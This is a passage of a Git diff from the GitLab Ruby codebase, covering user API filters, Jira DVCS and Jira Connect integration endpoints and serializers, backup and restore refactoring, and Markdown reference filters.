+ end
+ end
+ end
+end
diff --git a/lib/api/users.rb b/lib/api/users.rb
index 335624963aa..73bb43b88fc 100644
--- a/lib/api/users.rb
+++ b/lib/api/users.rb
@@ -84,6 +84,7 @@ module API
optional :created_after, type: DateTime, desc: 'Return users created after the specified time'
optional :created_before, type: DateTime, desc: 'Return users created before the specified time'
optional :without_projects, type: Boolean, default: false, desc: 'Filters only users without projects'
+ optional :exclude_internal, as: :non_internal, type: Boolean, default: false, desc: 'Filters only non internal users'
all_or_none_of :extern_uid, :provider
use :sort_params
@@ -115,6 +116,7 @@ module API
entity = current_user&.admin? ? Entities::UserWithAdmin : Entities::UserBasic
users = users.preload(:identities, :u2f_registrations) if entity == Entities::UserWithAdmin
+ users = users.preload(:identities, :webauthn_registrations) if entity == Entities::UserWithAdmin
users, options = with_custom_attributes(users, { with: entity, current_user: current_user })
users = users.preload(:user_detail)
@@ -217,9 +219,15 @@ module API
.where.not(id: user.id).exists?
user_params = declared_params(include_missing: false)
+ admin_making_changes_for_another_user = (current_user != user)
- user_params[:password_expires_at] = Time.current if user_params[:password].present?
- result = ::Users::UpdateService.new(current_user, user_params.merge(user: user)).execute
+ if user_params[:password].present?
+ user_params[:password_expires_at] = Time.current if admin_making_changes_for_another_user
+ end
+
+ result = ::Users::UpdateService.new(current_user, user_params.merge(user: user)).execute do |user|
+ user.send_only_admin_changed_your_password_notification! if admin_making_changes_for_another_user
+ end
if result[:status] == :success
present user, with: Entities::UserWithAdmin, current_user: current_user
diff --git a/lib/api/v3/github.rb b/lib/api/v3/github.rb
new file mode 100644
index 00000000000..593f90460ac
--- /dev/null
+++ b/lib/api/v3/github.rb
@@ -0,0 +1,232 @@
+# frozen_string_literal: true
+
+# These endpoints partially mimic Github API behavior in order to successfully
+# integrate with Jira Development Panel.
+# Endpoints returning an empty list were temporarily added to avoid 404's
+# during Jira's DVCS integration.
+#
+module API
+ module V3
+ class Github < Grape::API::Instance
+ NO_SLASH_URL_PART_REGEX = %r{[^/]+}.freeze
+ ENDPOINT_REQUIREMENTS = {
+ namespace: NO_SLASH_URL_PART_REGEX,
+ project: NO_SLASH_URL_PART_REGEX,
+ username: NO_SLASH_URL_PART_REGEX
+ }.freeze
+
+ # Used to differentiate Jira Cloud requests from Jira Server requests
+ # Jira Cloud user agent format: Jira DVCS Connector Vertigo/version
+ # Jira Server user agent format: Jira DVCS Connector/version
+ JIRA_DVCS_CLOUD_USER_AGENT = 'Jira DVCS Connector Vertigo'.freeze
+
+ include PaginationParams
+
+ before do
+ authorize_jira_user_agent!(request)
+ authenticate!
+ end
+
+ helpers do
+ params :project_full_path do
+ requires :namespace, type: String
+ requires :project, type: String
+ end
+
+ def authorize_jira_user_agent!(request)
+ not_found! unless Gitlab::Jira::Middleware.jira_dvcs_connector?(request.env)
+ end
+
+ def update_project_feature_usage_for(project)
+ # Prevent errors on GitLab Geo not allowing
+ # UPDATE statements to happen in GET requests.
+ return if Gitlab::Database.read_only?
+
+ project.log_jira_dvcs_integration_usage(cloud: jira_cloud?)
+ end
+
+ def jira_cloud?
+ request.env['HTTP_USER_AGENT'].include?(JIRA_DVCS_CLOUD_USER_AGENT)
+ end
+
+ def find_project_with_access(params)
+ project = find_project!(
+ ::Gitlab::Jira::Dvcs.restore_full_path(params.slice(:namespace, :project).symbolize_keys)
+ )
+ not_found! unless can?(current_user, :download_code, project)
+ project
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def find_merge_requests
+ merge_requests = authorized_merge_requests.reorder(updated_at: :desc)
+ paginate(merge_requests)
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def find_merge_request_with_access(id, access_level = :read_merge_request)
+ merge_request = authorized_merge_requests.find_by(id: id)
+ not_found! unless can?(current_user, access_level, merge_request)
+ merge_request
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ def authorized_merge_requests
+ MergeRequestsFinder.new(current_user, authorized_only: !current_user.admin?).execute
+ end
+
+ def authorized_merge_requests_for_project(project)
+ MergeRequestsFinder.new(current_user, authorized_only: !current_user.admin?, project_id: project.id).execute
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def find_notes(noteable)
+ # They're not presented on Jira Dev Panel ATM. A comments count with a
+ # redirect link is presented.
+ notes = paginate(noteable.notes.user.reorder(nil))
+ notes.select { |n| n.readable_by?(current_user) }
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+ end
+
+ resource :orgs do
+ get ':namespace/repos' do
+ present []
+ end
+ end
+
+ resource :user do
+ get :repos do
+ present []
+ end
+ end
+
+ resource :users do
+ params do
+ use :pagination
+ end
+
+ get ':namespace/repos' do
+ namespace = Namespace.find_by_full_path(params[:namespace])
+ not_found!('Namespace') unless namespace
+
+ projects = current_user.can_read_all_resources? ? Project.all : current_user.authorized_projects
+ projects = projects.in_namespace(namespace.self_and_descendants)
+
+ projects_cte = Project.wrap_with_cte(projects)
+ .eager_load_namespace_and_owner
+ .with_route
+
+ present paginate(projects_cte),
+ with: ::API::Github::Entities::Repository,
+ root_namespace: namespace.root_ancestor
+ end
+
+ get ':username' do
+ forbidden! unless can?(current_user, :read_users_list)
+ user = UsersFinder.new(current_user, { username: params[:username] }).execute.first
+ not_found! unless user
+ present user, with: ::API::Github::Entities::User
+ end
+ end
+
+ # Jira dev panel integration weirdly requests for "/-/jira/pulls" instead
+ # "/api/v3/repos/<namespace>/<project>/pulls". This forces us into
+ # returning _all_ Merge Requests from authorized projects (user is a member),
+ # instead just the authorized MRs from a project.
+ # Jira handles the filtering, presenting just MRs mentioning the Jira
+ # issue ID on the MR title / description.
+ resource :repos do
+ # Keeping for backwards compatibility with old Jira integration instructions
+ # so that users that do not change it will not suddenly have a broken integration
+ get '/-/jira/pulls' do
+ present find_merge_requests, with: ::API::Github::Entities::PullRequest
+ end
+
+ get '/-/jira/events' do
+ present []
+ end
+
+ params do
+ use :project_full_path
+ end
+ get ':namespace/:project/pulls' do
+ user_project = find_project_with_access(params)
+
+ merge_requests = authorized_merge_requests_for_project(user_project)
+
+ present paginate(merge_requests), with: ::API::Github::Entities::PullRequest
+ end
+
+ params do
+ use :project_full_path
+ end
+ get ':namespace/:project/pulls/:id' do
+ merge_request = find_merge_request_with_access(params[:id])
+
+ present merge_request, with: ::API::Github::Entities::PullRequest
+ end
+
+ # In Github, each Merge Request is automatically also an issue.
+ # Therefore we return its comments here.
+ # It'll present _just_ the comments counting with a link to GitLab on
+ # Jira dev panel, not the actual note content.
+ get ':namespace/:project/issues/:id/comments' do
+ merge_request = find_merge_request_with_access(params[:id])
+
+ present find_notes(merge_request), with: ::API::Github::Entities::NoteableComment
+ end
+
+ # This refer to "review" comments but Jira dev panel doesn't seem to
+ # present it accordingly.
+ get ':namespace/:project/pulls/:id/comments' do
+ present []
+ end
+
+ # Commits are not presented within "Pull Requests" modal on Jira dev
+ # panel.
+ get ':namespace/:project/pulls/:id/commits' do
+ present []
+ end
+
+ # Self-hosted Jira (tested on 7.11.1) requests this endpoint right
+ # after fetching branches.
+ get ':namespace/:project/events' do
+ user_project = find_project_with_access(params)
+
+ merge_requests = authorized_merge_requests_for_project(user_project)
+
+ present paginate(merge_requests), with: ::API::Github::Entities::PullRequestEvent
+ end
+
+ params do
+ use :project_full_path
+ use :pagination
+ end
+ get ':namespace/:project/branches' do
+ user_project = find_project_with_access(params)
+
+ update_project_feature_usage_for(user_project)
+
+ branches = ::Kaminari.paginate_array(user_project.repository.branches.sort_by(&:name))
+
+ present paginate(branches), with: ::API::Github::Entities::Branch, project: user_project
+ end
+
+ params do
+ use :project_full_path
+ end
+ get ':namespace/:project/commits/:sha' do
+ user_project = find_project_with_access(params)
+
+ commit = user_project.commit(params[:sha])
+
+ not_found! 'Commit' unless commit
+
+ present commit, with: ::API::Github::Entities::RepoCommit
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/variables.rb b/lib/api/variables.rb
index cea0cb3a19c..0b3ec10f1b4 100644
--- a/lib/api/variables.rb
+++ b/lib/api/variables.rb
@@ -17,7 +17,6 @@ module API
def find_variable(params)
variables = ::Ci::VariablesFinder.new(user_project, params).execute.to_a
- return variables.first unless ::Gitlab::Ci::Features.variables_api_filter_environment_scope?
return variables.first unless variables.many? # rubocop: disable CodeReuse/ActiveRecord
conflict!("There are multiple variables with provided parameters. Please use 'filter[environment_scope]'")
diff --git a/lib/api/wikis.rb b/lib/api/wikis.rb
index 95afa36113c..4eba12157bd 100644
--- a/lib/api/wikis.rb
+++ b/lib/api/wikis.rb
@@ -83,11 +83,12 @@ module API
put ':id/wikis/:slug' do
authorize! :create_wiki, container
- page = WikiPages::UpdateService
+ response = WikiPages::UpdateService
.new(container: container, current_user: current_user, params: params)
.execute(wiki_page)
+ page = response.payload[:page]
- if page.valid?
+ if response.success?
present page, with: Entities::WikiPage
else
render_validation_error!(page)
@@ -101,11 +102,15 @@ module API
delete ':id/wikis/:slug' do
authorize! :admin_wiki, container
- WikiPages::DestroyService
+ response = WikiPages::DestroyService
.new(container: container, current_user: current_user)
.execute(wiki_page)
- no_content!
+ if response.success?
+ no_content!
+ else
+ render_api_error!(reponse.message)
+ end
end
desc 'Upload an attachment to the wiki repository' do
diff --git a/lib/atlassian/jira_connect.rb b/lib/atlassian/jira_connect.rb
new file mode 100644
index 00000000000..7f693eff59b
--- /dev/null
+++ b/lib/atlassian/jira_connect.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Atlassian
+ module JiraConnect
+ class << self
+ def app_name
+ "GitLab for Jira (#{gitlab_host})"
+ end
+
+ def app_key
+ "gitlab-jira-connect-#{gitlab_host}"
+ end
+
+ private
+
+ def gitlab_host
+ Gitlab.config.gitlab.host
+ end
+ end
+ end
+end
diff --git a/lib/atlassian/jira_connect/client.rb b/lib/atlassian/jira_connect/client.rb
new file mode 100644
index 00000000000..0b578c03782
--- /dev/null
+++ b/lib/atlassian/jira_connect/client.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+module Atlassian
+ module JiraConnect
+ class Client < Gitlab::HTTP
+ def initialize(base_uri, shared_secret)
+ @base_uri = base_uri
+ @shared_secret = shared_secret
+ end
+
+ def store_dev_info(project:, commits: nil, branches: nil, merge_requests: nil)
+ dev_info_json = {
+ repositories: [
+ Serializers::RepositoryEntity.represent(
+ project,
+ commits: commits,
+ branches: branches,
+ merge_requests: merge_requests
+ )
+ ]
+ }.to_json
+
+ uri = URI.join(@base_uri, '/rest/devinfo/0.10/bulk')
+
+ headers = {
+ 'Authorization' => "JWT #{jwt_token('POST', uri)}",
+ 'Content-Type' => 'application/json'
+ }
+
+ self.class.post(uri, headers: headers, body: dev_info_json)
+ end
+
+ private
+
+ def jwt_token(http_method, uri)
+ claims = Atlassian::Jwt.build_claims(
+ Atlassian::JiraConnect.app_key,
+ uri,
+ http_method,
+ @base_uri
+ )
+
+ Atlassian::Jwt.encode(claims, @shared_secret)
+ end
+ end
+ end
+end
diff --git a/lib/atlassian/jira_connect/serializers/author_entity.rb b/lib/atlassian/jira_connect/serializers/author_entity.rb
new file mode 100644
index 00000000000..9ab8e34c14b
--- /dev/null
+++ b/lib/atlassian/jira_connect/serializers/author_entity.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Atlassian
+ module JiraConnect
+ module Serializers
+ class AuthorEntity < Grape::Entity
+ include Gitlab::Routing
+
+ expose :name
+ expose :email
+
+ with_options(unless: -> (user) { user.is_a?(CommitEntity::CommitAuthor) }) do
+ expose :username
+ expose :url do |user|
+ user_url(user)
+ end
+ expose :avatar do |user|
+ user.avatar_url(only_path: false)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/atlassian/jira_connect/serializers/base_entity.rb b/lib/atlassian/jira_connect/serializers/base_entity.rb
new file mode 100644
index 00000000000..c5490aa3f54
--- /dev/null
+++ b/lib/atlassian/jira_connect/serializers/base_entity.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Atlassian
+ module JiraConnect
+ module Serializers
+ class BaseEntity < Grape::Entity
+ include Gitlab::Routing
+ include GitlabRoutingHelper
+
+ format_with(:string) { |value| value.to_s }
+
+ expose :monotonic_time, as: :updateSequenceId
+
+ private
+
+ def monotonic_time
+ Gitlab::Metrics::System.monotonic_time.to_i
+ end
+ end
+ end
+ end
+end
diff --git a/lib/atlassian/jira_connect/serializers/branch_entity.rb b/lib/atlassian/jira_connect/serializers/branch_entity.rb
new file mode 100644
index 00000000000..c663575b7a8
--- /dev/null
+++ b/lib/atlassian/jira_connect/serializers/branch_entity.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module Atlassian
+ module JiraConnect
+ module Serializers
+ class BranchEntity < BaseEntity
+ expose :id do |branch|
+ Digest::SHA256.hexdigest(branch.name)
+ end
+ expose :issueKeys do |branch|
+ JiraIssueKeyExtractor.new(branch.name).issue_keys
+ end
+ expose :name
+ expose :lastCommit, using: JiraConnect::Serializers::CommitEntity do |branch, options|
+ options[:project].commit(branch.dereferenced_target)
+ end
+
+ expose :url do |branch, options|
+ project_commits_url(options[:project], branch.name)
+ end
+ expose :createPullRequestUrl do |branch, options|
+ project_new_merge_request_url(
+ options[:project],
+ merge_request: {
+ source_branch: branch.name
+ }
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/lib/atlassian/jira_connect/serializers/commit_entity.rb b/lib/atlassian/jira_connect/serializers/commit_entity.rb
new file mode 100644
index 00000000000..12eb1ed15ea
--- /dev/null
+++ b/lib/atlassian/jira_connect/serializers/commit_entity.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module Atlassian
+ module JiraConnect
+ module Serializers
+ class CommitEntity < BaseEntity
+ CommitAuthor = Struct.new(:name, :email)
+
+ expose :id
+ expose :issueKeys do |commit|
+ JiraIssueKeyExtractor.new(commit.safe_message).issue_keys
+ end
+ expose :id, as: :hash
+ expose :short_id, as: :displayId
+ expose :safe_message, as: :message
+ expose :flags do |commit|
+ if commit.merge_commit?
+ ['MERGE_COMMIT']
+ else
+ []
+ end
+ end
+ expose :author, using: JiraConnect::Serializers::AuthorEntity
+ expose :fileCount do |commit|
+ commit.stats.total
+ end
+ expose :files do |commit, options|
+ files = commit.diffs(max_files: 10).diff_files
+ JiraConnect::Serializers::FileEntity.represent files, options.merge(commit: commit)
+ end
+ expose :created_at, as: :authorTimestamp
+
+ expose :url do |commit, options|
+ project_commit_url(options[:project], commit.id)
+ end
+
+ private
+
+ def author
+ object.author || CommitAuthor.new(object.author_name, object.author_email)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/atlassian/jira_connect/serializers/file_entity.rb b/lib/atlassian/jira_connect/serializers/file_entity.rb
new file mode 100644
index 00000000000..50d31965f93
--- /dev/null
+++ b/lib/atlassian/jira_connect/serializers/file_entity.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module Atlassian
+ module JiraConnect
+ module Serializers
+ class FileEntity < Grape::Entity
+ include Gitlab::Routing
+
+ expose :path do |file|
+ file.deleted_file? ? file.old_path : file.new_path
+ end
+ expose :changeType do |file|
+ if file.new_file?
+ 'ADDED'
+ elsif file.deleted_file?
+ 'DELETED'
+ elsif file.renamed_file?
+ 'MOVED'
+ else
+ 'MODIFIED'
+ end
+ end
+ expose :added_lines, as: :linesAdded
+ expose :removed_lines, as: :linesRemoved
+
+ expose :url do |file, options|
+ file_path = if file.deleted_file?
+ File.join(options[:commit].parent_id, file.old_path)
+ else
+ File.join(options[:commit].id, file.new_path)
+ end
+
+ project_blob_url(options[:project], file_path)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/atlassian/jira_connect/serializers/pull_request_entity.rb b/lib/atlassian/jira_connect/serializers/pull_request_entity.rb
new file mode 100644
index 00000000000..0ddfcbf52ea
--- /dev/null
+++ b/lib/atlassian/jira_connect/serializers/pull_request_entity.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module Atlassian
+ module JiraConnect
+ module Serializers
+ class PullRequestEntity < BaseEntity
+ STATUS_MAPPING = {
+ 'opened' => 'OPEN',
+ 'locked' => 'OPEN',
+ 'merged' => 'MERGED',
+ 'closed' => 'DECLINED'
+ }.freeze
+
+ expose :id, format_with: :string
+ expose :issueKeys do |mr|
+ JiraIssueKeyExtractor.new(mr.title, mr.description).issue_keys
+ end
+ expose :displayId do |mr|
+ mr.to_reference(full: true)
+ end
+ expose :title
+ expose :author, using: JiraConnect::Serializers::AuthorEntity
+ expose :user_notes_count, as: :commentCount
+ expose :source_branch, as: :sourceBranch
+ expose :target_branch, as: :destinationBranch
+ expose :lastUpdate do |mr|
+ mr.last_edited_at || mr.created_at
+ end
+ expose :status do |mr|
+ STATUS_MAPPING[mr.state] || 'UNKNOWN'
+ end
+
+ expose :sourceBranchUrl do |mr|
+ project_commits_url(mr.project, mr.source_branch)
+ end
+ expose :url do |mr|
+ merge_request_url(mr)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/atlassian/jira_connect/serializers/repository_entity.rb b/lib/atlassian/jira_connect/serializers/repository_entity.rb
new file mode 100644
index 00000000000..819ca2b62e0
--- /dev/null
+++ b/lib/atlassian/jira_connect/serializers/repository_entity.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Atlassian
+ module JiraConnect
+ module Serializers
+ class RepositoryEntity < BaseEntity
+ expose :id, format_with: :string
+ expose :name
+ expose :description
+ expose :url do |project|
+ project_url(project)
+ end
+ expose :avatar do |project|
+ project.avatar_url(only_path: false)
+ end
+
+ expose :commits do |project, options|
+ JiraConnect::Serializers::CommitEntity.represent options[:commits], project: project
+ end
+ expose :branches do |project, options|
+ JiraConnect::Serializers::BranchEntity.represent options[:branches], project: project
+ end
+ expose :pullRequests do |project, options|
+ JiraConnect::Serializers::PullRequestEntity.represent options[:merge_requests], project: project
+ end
+ end
+ end
+ end
+end
diff --git a/lib/atlassian/jira_issue_key_extractor.rb b/lib/atlassian/jira_issue_key_extractor.rb
new file mode 100644
index 00000000000..f1b432787ac
--- /dev/null
+++ b/lib/atlassian/jira_issue_key_extractor.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Atlassian
+ class JiraIssueKeyExtractor
+ def self.has_keys?(*text)
+ new(*text).issue_keys.any?
+ end
+
+ def initialize(*text)
+ @text = text.join(' ')
+ end
+
+ def issue_keys
+ @text.scan(Gitlab::Regex.jira_issue_key_regex).uniq
+ end
+ end
+end
diff --git a/lib/backup/artifacts.rb b/lib/backup/artifacts.rb
index 33658ae225f..c2266f0bad6 100644
--- a/lib/backup/artifacts.rb
+++ b/lib/backup/artifacts.rb
@@ -9,7 +9,7 @@ module Backup
def initialize(progress)
@progress = progress
- super('artifacts', JobArtifactUploader.root)
+ super('artifacts', JobArtifactUploader.root, excludes: ['tmp'])
end
end
end
diff --git a/lib/backup/database.rb b/lib/backup/database.rb
index d4c1ce260e4..851445f703d 100644
--- a/lib/backup/database.rb
+++ b/lib/backup/database.rb
@@ -8,10 +8,18 @@ module Backup
attr_reader :progress
attr_reader :config, :db_file_name
- def initialize(progress)
+ IGNORED_ERRORS = [
+ # Ignore the DROP errors; recent database dumps will use --if-exists with pg_dump
+ /does not exist$/,
+ # User may not have permissions to drop extensions or schemas
+ /must be owner of/
+ ].freeze
+ IGNORED_ERRORS_REGEXP = Regexp.union(IGNORED_ERRORS).freeze
+
+ def initialize(progress, filename: nil)
@progress = progress
@config = YAML.load_file(File.join(Rails.root, 'config', 'database.yml'))[Rails.env]
- @db_file_name = File.join(Gitlab.config.backup.path, 'db', 'database.sql.gz')
+ @db_file_name = filename || File.join(Gitlab.config.backup.path, 'db', 'database.sql.gz')
end
def dump
@@ -27,6 +35,7 @@ module Backup
progress.print "Dumping PostgreSQL database #{config['database']} ... "
pg_env
pgsql_args = ["--clean"] # Pass '--clean' to include 'DROP TABLE' statements in the DB dump.
+ pgsql_args << '--if-exists'
if Gitlab.config.backup.pg_schema
pgsql_args << '-n'
@@ -48,6 +57,8 @@ module Backup
end
report_success(success)
+ progress.flush
+
raise Backup::Error, 'Backup failed' unless success
end
@@ -56,26 +67,65 @@ module Backup
decompress_pid = spawn(*%w(gzip -cd), out: decompress_wr, in: db_file_name)
decompress_wr.close
- restore_pid =
+ status, errors =
case config["adapter"]
when "postgresql" then
progress.print "Restoring PostgreSQL database #{config['database']} ... "
pg_env
- spawn('psql', config['database'], in: decompress_rd)
+ execute_and_track_errors(pg_restore_cmd, decompress_rd)
end
decompress_rd.close
- success = [decompress_pid, restore_pid].all? do |pid|
- Process.waitpid(pid)
- $?.success?
+ Process.waitpid(decompress_pid)
+ success = $?.success? && status.success?
+
+ if errors.present?
+ progress.print "------ BEGIN ERRORS -----\n".color(:yellow)
+ progress.print errors.join.color(:yellow)
+ progress.print "------ END ERRORS -------\n".color(:yellow)
end
report_success(success)
- abort Backup::Error, 'Restore failed' unless success
+ raise Backup::Error, 'Restore failed' unless success
+
+ errors
end
protected
+ def ignore_error?(line)
+ IGNORED_ERRORS_REGEXP.match?(line)
+ end
+
+ def execute_and_track_errors(cmd, decompress_rd)
+ errors = []
+
+ Open3.popen3(ENV, *cmd) do |stdin, stdout, stderr, thread|
+ stdin.binmode
+
+ out_reader = Thread.new do
+ data = stdout.read
+ $stdout.write(data)
+ end
+
+ err_reader = Thread.new do
+ until (raw_line = stderr.gets).nil?
+ warn(raw_line)
+ errors << raw_line unless ignore_error?(raw_line)
+ end
+ end
+
+ begin
+ IO.copy_stream(decompress_rd, stdin)
+ rescue Errno::EPIPE
+ end
+
+ stdin.close
+ [thread, out_reader, err_reader].each(&:join)
+ [thread.value, errors]
+ end
+ end
+
def pg_env
args = {
'username' => 'PGUSER',
@@ -100,5 +150,11 @@ module Backup
progress.puts '[FAILED]'.color(:red)
end
end
+
+ private
+
+ def pg_restore_cmd
+ ['psql', config['database']]
+ end
end
end
diff --git a/lib/backup/files.rb b/lib/backup/files.rb
index dae9056a47b..619a62fd6f6 100644
--- a/lib/backup/files.rb
+++ b/lib/backup/files.rb
@@ -7,14 +7,17 @@ module Backup
class Files
include Backup::Helper
- attr_reader :name, :app_files_dir, :backup_tarball, :files_parent_dir
+ DEFAULT_EXCLUDE = 'lost+found'
- def initialize(name, app_files_dir)
+ attr_reader :name, :app_files_dir, :backup_tarball, :excludes, :files_parent_dir
+
+ def initialize(name, app_files_dir, excludes: [])
@name = name
@app_files_dir = File.realpath(app_files_dir)
@files_parent_dir = File.realpath(File.join(@app_files_dir, '..'))
@backup_files_dir = File.join(Gitlab.config.backup.path, File.basename(@app_files_dir) )
@backup_tarball = File.join(Gitlab.config.backup.path, name + '.tar.gz')
+ @excludes = [DEFAULT_EXCLUDE].concat(excludes)
end
# Copy files from public/files to backup/files
@@ -23,7 +26,7 @@ module Backup
FileUtils.rm_f(backup_tarball)
if ENV['STRATEGY'] == 'copy'
- cmd = %W(rsync -a --exclude=lost+found #{app_files_dir} #{Gitlab.config.backup.path})
+ cmd = [%w(rsync -a), exclude_dirs(:rsync), %W(#{app_files_dir} #{Gitlab.config.backup.path})].flatten
output, status = Gitlab::Popen.popen(cmd)
unless status == 0
@@ -31,10 +34,12 @@ module Backup
raise Backup::Error, 'Backup failed'
end
- run_pipeline!([%W(#{tar} --exclude=lost+found -C #{@backup_files_dir} -cf - .), gzip_cmd], out: [backup_tarball, 'w', 0600])
+ tar_cmd = [tar, exclude_dirs(:tar), %W(-C #{@backup_files_dir} -cf - .)].flatten
+ run_pipeline!([tar_cmd, gzip_cmd], out: [backup_tarball, 'w', 0600])
FileUtils.rm_rf(@backup_files_dir)
else
- run_pipeline!([%W(#{tar} --exclude=lost+found -C #{app_files_dir} -cf - .), gzip_cmd], out: [backup_tarball, 'w', 0600])
+ tar_cmd = [tar, exclude_dirs(:tar), %W(-C #{app_files_dir} -cf - .)].flatten
+ run_pipeline!([tar_cmd, gzip_cmd], out: [backup_tarball, 'w', 0600])
end
end
@@ -81,5 +86,17 @@ module Backup
error = err_r.read
raise Backup::Error, "Backup failed. #{error}" unless error =~ regex
end
+
+ def exclude_dirs(fmt)
+ excludes.map do |s|
+ if s == DEFAULT_EXCLUDE
+ '--exclude=' + s
+ elsif fmt == :rsync
+ '--exclude=/' + s
+ elsif fmt == :tar
+ '--exclude=./' + s
+ end
+ end
+ end
end
end
diff --git a/lib/backup/manager.rb b/lib/backup/manager.rb
index 915567f8106..2b28b30fd74 100644
--- a/lib/backup/manager.rb
+++ b/lib/backup/manager.rb
@@ -47,7 +47,7 @@ module Backup
return
end
- directory = connect_to_remote_directory(connection_settings)
+ directory = connect_to_remote_directory(Gitlab.config.backup.upload)
if directory.files.create(create_attributes)
progress.puts "done".color(:green)
@@ -88,7 +88,7 @@ module Backup
# - 1495527097_2017_05_23_9.3.0-pre_gitlab_backup.tar
next unless file =~ /^(\d{10})(?:_\d{4}_\d{2}_\d{2}(_\d+\.\d+\.\d+((-|\.)(pre|rc\d))?(-ee)?)?)?_gitlab_backup\.tar$/
- timestamp = $1.to_i
+ timestamp = Regexp.last_match(1).to_i
if Time.at(timestamp) < (Time.now - keep_time)
begin
@@ -195,9 +195,11 @@ module Backup
@backup_file_list.map {|item| item.gsub("#{FILE_NAME_SUFFIX}", "")}
end
- def connect_to_remote_directory(connection_settings)
- # our settings use string keys, but Fog expects symbols
- connection = ::Fog::Storage.new(connection_settings.symbolize_keys)
+ def connect_to_remote_directory(options)
+ config = ObjectStorage::Config.new(options)
+ config.load_provider
+
+ connection = ::Fog::Storage.new(config.credentials)
# We only attempt to create the directory for local backups. For AWS
# and other cloud providers, we cannot guarantee the user will have
diff --git a/lib/backup/pages.rb b/lib/backup/pages.rb
index a4be728df08..d7aab33d7cb 100644
--- a/lib/backup/pages.rb
+++ b/lib/backup/pages.rb
@@ -9,7 +9,7 @@ module Backup
def initialize(progress)
@progress = progress
- super('pages', Gitlab.config.pages.path)
+ super('pages', Gitlab.config.pages.path, excludes: [::Projects::UpdatePagesService::TMP_EXTRACT_PATH])
end
end
end
diff --git a/lib/backup/repository.rb b/lib/backup/repository.rb
index 51fac9e8706..eb0b230904e 100644
--- a/lib/backup/repository.rb
+++ b/lib/backup/repository.rb
@@ -148,20 +148,22 @@ module Backup
private
def dump_consecutive
- Project.find_each(batch_size: 1000) do |project|
+ Project.includes(:route, :group, namespace: :owner).find_each(batch_size: 1000) do |project|
dump_project(project)
end
end
def dump_storage(storage, semaphore, max_storage_concurrency:)
errors = Queue.new
- queue = SizedQueue.new(1)
+ queue = InterlockSizedQueue.new(1)
threads = Array.new(max_storage_concurrency) do
Thread.new do
Rails.application.executor.wrap do
while project = queue.pop
- semaphore.acquire
+ ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+ semaphore.acquire
+ end
begin
dump_project(project)
@@ -176,7 +178,7 @@ module Backup
end
end
- Project.for_repository_storage(storage).find_each(batch_size: 100) do |project|
+ Project.for_repository_storage(storage).includes(:route, :group, namespace: :owner).find_each(batch_size: 100) do |project|
break unless errors.empty?
queue.push(project)
@@ -241,5 +243,23 @@ module Backup
pool.schedule
end
end
+
+ class InterlockSizedQueue < SizedQueue
+ extend ::Gitlab::Utils::Override
+
+ override :pop
+ def pop(*)
+ ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+ super
+ end
+ end
+
+ override :push
+ def push(*)
+ ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+ super
+ end
+ end
+ end
end
end
diff --git a/lib/backup/uploads.rb b/lib/backup/uploads.rb
index 5a20b6ae0a6..b6a62bc3f29 100644
--- a/lib/backup/uploads.rb
+++ b/lib/backup/uploads.rb
@@ -9,7 +9,7 @@ module Backup
def initialize(progress)
@progress = progress
- super('uploads', File.join(Gitlab.config.uploads.storage_path, "uploads"))
+ super('uploads', File.join(Gitlab.config.uploads.storage_path, "uploads"), excludes: ['tmp'])
end
end
end
diff --git a/lib/banzai/filter/abstract_reference_filter.rb b/lib/banzai/filter/abstract_reference_filter.rb
index b0a2f6f69d5..2448c2c2bb2 100644
--- a/lib/banzai/filter/abstract_reference_filter.rb
+++ b/lib/banzai/filter/abstract_reference_filter.rb
@@ -265,7 +265,7 @@ module Banzai
extras = []
if matches.names.include?("anchor") && matches[:anchor] && matches[:anchor] =~ /\A\#note_(\d+)\z/
- extras << "comment #{$1}"
+ extras << "comment #{Regexp.last_match(1)}"
end
extension = matches[:extension] if matches.names.include?("extension")
@@ -436,7 +436,7 @@ module Banzai
escaped = escape_html_entities(text)
escaped.gsub(REFERENCE_PLACEHOLDER_PATTERN) do |match|
- placeholder_data[$1.to_i]
+ placeholder_data[Regexp.last_match(1).to_i]
end
end
end
diff --git a/lib/banzai/filter/alert_reference_filter.rb b/lib/banzai/filter/alert_reference_filter.rb
new file mode 100644
index 00000000000..228a4159c99
--- /dev/null
+++ b/lib/banzai/filter/alert_reference_filter.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ class AlertReferenceFilter < IssuableReferenceFilter
+ self.reference_type = :alert
+
+ def self.object_class
+ AlertManagement::Alert
+ end
+
+ def self.object_sym
+ :alert
+ end
+
+ def parent_records(parent, ids)
+ parent.alert_management_alerts.where(iid: ids.to_a)
+ end
+
+ def url_for_object(alert, project)
+ ::Gitlab::Routing.url_helpers.details_project_alert_management_url(
+ project,
+ alert.iid,
+ only_path: context[:only_path]
+ )
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/autolink_filter.rb b/lib/banzai/filter/autolink_filter.rb
index 4723bfbf261..0aa1ee8f604 100644
--- a/lib/banzai/filter/autolink_filter.rb
+++ b/lib/banzai/filter/autolink_filter.rb
@@ -86,7 +86,7 @@ module Banzai
# outside the link element. The entity must be marked HTML safe in
